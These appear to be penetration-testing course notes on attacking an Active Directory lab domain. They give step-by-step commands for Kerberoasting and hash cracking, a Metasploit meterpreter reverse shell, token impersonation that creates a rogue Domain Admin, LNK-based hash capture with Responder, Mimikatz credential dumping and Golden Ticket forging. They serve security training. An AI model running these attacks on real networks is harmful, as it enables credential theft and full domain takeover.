LLMNR -> fcastle hash -> cracked -> sprayed the password -> new login found -> secretsdump logins -> local admin hashes -> respray the network with local accounts
➡️ Kerberoasting is a post-exploitation attack technique that attempts to obtain a password hash of an Active Directory account that has a SPN (Service Principal Name), focusing on the acquisition of TGS (Ticket Granting Server) tickets issued by the KDC (Key Distribution Center).
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
HYDRA-DC/SQLService.MARVEL.local:60111 SQLService CN=Group Policy Creator Owners,OU=Groups,DC=MARVEL,DC=local 2024-07-15 23:38:40.092417 2024-07-28 20:48:12.180307
[-] CCache file is not found. Skipping...
$krb5tgs$23$*SQLService$MARVEL.LOCAL$MARVEL.local/SQLService*$4dd81eff0870ad344d1eee4aa64e2e7e$da960962a4ecb4aaf3b2b8835173e251537d78af30ac1ed2c464d7983d1a450f51b3d1eb7031adfd93c2b446e46a32d4d3632e6669bb85b1b25ed8ef32a37a54f272616555d3b6dacdb318e018dbf3a6bac8a4254c4c4e43a267abdbbd5ba6710cabad6129db8d723c8c6fbd27e15be1668102e94697fb0ca0bf66fe1b93cc1feec8c00df5338732a7f3e6a7c7a0ba2995af0dcc955a138f1c69d5458908c8f390c4b68d7aa20e2d24dbf3c2615798cf3283faf909cace72e9ccbe74ca5b7b165b55a28141ef3925709ba388af36067bd99e832fa7dc40ae623a8073ad1a7d678037b9f91922301b9313767e92e736996157368e20d67f27964fb2a4336c4234c246ef61945c18d64b5f49638d10b7229ee8fa66bd13f622f8e6a84992b1df1f675e8232df18e39c1b7b9e89e4dd99299ef40eee80c11c32a656c4ce185896c79a51df419d1cf97781cbedbd7048df16db20bc5029e4ad50f69eb067a09eccb93d5ee6f5c539579c7d7120f67a8f92557acd06474ca664b35dbc65f58ff9778370b9aa454298ec8b1c46f16beabe75593a7d370aeb8522eaa21c5b38c46a4c91af4a7b51c91817b4b28bfa3d013bbc46a153d1bc88e025f51bbe641efd0c5c873ff73edc2a89de3a38c3ad80e048bbf901840a4a28affda8bfd10c1a31f4794ae73352c0d8f95a47516079bd45ab16078b27cb7df3a8022aa0e73671b10ebadf0cd1e32ba6225a64122e624305902e7491d422068fe763aa3b53ceba5d4a3a27eaa9e51ed5778301b4804d5525d24516940664701d17f728ae8e039ad6ceda1324e1bd3e18bdc401bf7507705b39c9aedc2389ef50616a2330b00cdb6d6babbc6cbf207cd28b2886e1b9d668b1197ad7b34cc9cc03fb71a7e336a51226062c02ec591085b5dd6ce483799618f139afeb5cc60294f76d632a5344508dc6c133e8a991bb53a84462d0daea9d2b8404306d6cccfde7f5b56c7729c0bf11b0c100998843884efdad3c81e475abab92636a78cc82cf01eabb6f7735cdcdf03344f11b273f07cd2cec194ad238b6f4169c0d13b6c83b1aa91d2137217b583880385d417a24e8cce7dcc0b8d458a1aeeb297a53fae905b332fa1075fe58efc59d7264dbcdae81dad3674790b885e1e093234dbfb22c66f9b44aa19bb7af8d99a1d1b7a70e46fed3fe86d0b703b30037af5c15ca47c8bbc9a3685c4b873e2e22c325f790e9c533540be1bbbb155f68afe4f44646eacf98df3f2cb3e237767f451e700ea540ad3a5c2d14b9dd38b2470a087dfcae87b62e877139da7be443a41e910335d9ab65034d1431f0278135f51d8107a0d3c3ad7776d6ee97a3e9527c6f6e9e52893663e524dcb58ef5242f1a2d9b074a081946e554f416b0e7ba0cd43c666bef7b7af1a542ce0fc8f97028c6cd29cf3cb30d98e3ba8fd0d4fcc26141c8
e.g. Cracking the $krb5tgs$23$* (RC4 encryption) hash
nano krb.txt
# paste the entire $krb5tgs$23$* hash
hashcat -m 13100 krb.txt /usr/share/wordlists/rockyou.txt
MYpassword123#
# Password of the SQLService account
For mitigation:
least privilege - do not run Service Accounts as Domain Admin
strong password
Token impersonation
➡️ Tokens are temporary keys that provide access to a system or network without needing to repeatedly input credentials, similar to how cookies work.
Delegate - created for logging into machine or Remote Desktop
Impersonate - non-interactive
📌 Turn on THEPUNISHER (192.168.31.93) and HYDRA-DC (192.168.31.90) VMs, and login to THEPUNISHER.
msfconsole
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.31.93
set smbdomain MARVEL.local
set smbuser fcastle
set smbpass Password1
show targets # proceed with Automatic
run
# meterpreter - load addon
load incognito
# List available tokens
list_tokens -u
Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
Font Driver Host\UMFD-2
MARVEL\Administrator
MARVEL\fcastle
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1
Window Manager\DWM-2
Impersonation Tokens Available
========================================
No tokens available
# Impersonate token
impersonate_token marvel\\fcastle
# Check impersonated user
shell
whoami
# Add another Domain Admin user
net user /add hawkeye Password1@ /domain
net group "Domain Admins" hawkeye /ADD /DOMAIN
# Revert to original token
rev2self
Dump the secrets from the controller using hawkeye user
An attacker can place a malicious file in a shared folder, and when triggered, it captures password hashes using a tool like Responder, similar to a watering hole attack where a compromised website delivers malware that can drop such files onto a target's network.
📌 Open Powershell on the THEPUNISHER (192.168.31.93) VM.
The following PowerShell script creates a shortcut (C:\test.lnk) pointing to a remote file (\\192.168.31.131\@test.png - on the attacker VM), setting its icon, description, and a Ctrl+Alt+T hotkey. It can be used for automation or to trick users into accessing a remote resource, potentially leaking credentials via an SMB request.
rename the test.lnk file into @test.lnk to put it on top of the folder list
copy the file in \\hydra-dc\hackme file share
Run Responder (on Kali VM):
sudo responder -I eth0 -dPv
No just open the \\hydra-dc\hackme share folder in THEPUNISHER VM and check the Responder log for hashes automatically captured.
Automated attack - ff the file share is exposed, use netexecslinky built-in module to create the link/shortcut file on the targeted VM (in all shares with write permissions).
➡️ Mimikatz - a tool that allows the extraction of plaintext passwords, hashes, PIN codes and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket or build Golden tickets.
📌 Turn on SPIDERMAN (192.168.31.92) and login with peterparker with the attached hackme file-share.
mkdir -p $HOME/tcm/peh/ad-attacks/mimikats
cd $HOME/tcm/peh/ad-attacks/mimikats
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
# extract zip
python3 -m http.server 80
Open http://192.168.31.131/mimikatz_trunk/x64/ in the SPIDERMAN VM and download all the 4 files inside that directory
Run cmd as admin
cd "C:\Users\peterparker\Downloads"
mimikatz.exe
# Commands
privilege::
privilege::debug
# Attacks
sekurlsa::
msv - Lists LM & NTLM credentials
wdigest - Lists WDigest credentials
kerberos - Lists Kerberos credentials
tspkg - Lists TsPkg credentials
livessp - Lists LiveSSP credentials
cloudap - Lists CloudAp credentials
ssp - Lists SSP credentials
logonPasswords - Lists all available providers credentials
process - Switch (or reinit) to LSASS process context
minidump - Switch (or reinit) to LSASS minidump context
bootkey - Set the SecureKernel Boot Key to attempt to decrypt LSA Isolated credentials
pth - Pass-the-hash
krbtgt - krbtgt!
dpapisystem - DPAPI_SYSTEM secret
trust - Antisocial
backupkeys - Preferred Backup Master keys
tickets - List Kerberos tickets
ekeys - List Kerberos Encryption Keys
dpapi - List Cached MasterKeys
credman - List Credentials Manager
sekurlsa::logonPasswords
Check for clear-text passwords based on the mounted shared folder for example.
Check for NTLM hashes.
Mimikatz needs obfuscation and/or antivirus bypass to work on protected systems.
How can I move laterally until I can move vertically?
📌 Post-Domain Compromise Actions
Once the domain is owned:
Maximize value for the client:
Repeat the process for verification
Dump NTDS.dit and crack passwords
Enumerate shares for sensitive data
Maintain persistence:
Plan for lost Domain Admin (DA) access
Create a temporary DA account (remember to delete it)
Use a Golden Ticket if needed
Dumping NTDS.dit
➡️ NTDS.dit is the Active Directory database file used by Microsoft Windows Domain Controllers (DCs). It stores critical domain information, including:
User and computer accounts
Password hashes
Group memberships and permissions
It is important because:
it contains NTLM & Kerberos password hashes, making it a prime target for attackers
if dumped using tools like Mimikatz or secretsdump.py, attackers can crack hashes and gain Domain Admin access
it enables privilege escalation and persistent access (e.g. Golden Ticket attacks).
➡️ A Golden Ticket attack is a Kerberos authentication exploit that allows an attacker to generate forged TGTs (Ticket Granting Tickets), granting them persistent and unrestricted access to an Active Directory (AD) environment.
Obtain the KRBTGT Hash – The attacker dumps the KRBTGT account's NTLM hash from the NTDS.dit database on a domain controller.
Forge a TGT – Using Mimikatz, the attacker crafts a fake Kerberos TGT, setting any username, groups, or privileges.
Gain Domain Access – The forged ticket is used (via Pass-the-Ticket attack) to request service tickets (TGS), allowing access to any resource without authentication expiration.
Persistence – The ticket remains valid even if passwords change, as long as the KRBTGT hash is not reset twice.
❗ When KRBTGT (Kerberos Ticket Granting Ticket) account is compromised, the attacker owns the domain.
Pass the Ticket - mimikatz
📌 Turn on THEPUNISHER (192.168.31.93) and HYDRA-DC (192.168.31.90) VMs.
Download Mimikatz on the Domain Controller VM
Run cmd as admin on the HYDRA-DC. Proceed to forging a golden ticket with Mimikatz
cd "C:\Users\fcastle\Downloads\mimikatz_trunk\x64"
mimikatz.exe
# Commands
privilege::debug
lsadump::lsa /inject /name:krbtgt
Get the Domain SID and NTLM hash of the krbtgt account from the output
kerberos::golden /User:MyAdministrator /domain:marvel.local /sid:S-1-5-21-1796002695-2329991732-2223296958 /krbtgt:21a84dbb8f81aa02316606b488a4a9eb /id:500 /ptt
# id:500 - Administrator account
# ptt - pass the ticket into the session
The attacker can use the forged ticket to access Kerberos-integrated resources. Since the TGT is signed and encrypted with the legitimate KRBTGT password hash, domain controllers recognize it as valid authentication. As a result, the domain controller issues Ticket Granting Service (TGS) tickets based on the forged TGT.
To open a session with the generated golden ticket:
misc::cmd
# In the new CMD, run privileged commands
dir \\THEPUNISHER\c$
Download and use psexec.exe to run attacks against other computers or get a remote shell on them
cd "C:\Users\tstark\Downloads\PSTools>"
PsExec.exe \\THEPUNISHER cmd.exe
hostname
Impacket from the Kali VM can be used too for the Pass the Ticket attack using secretdump.py , lookupsid.py, ticketer.py, psexec.py.
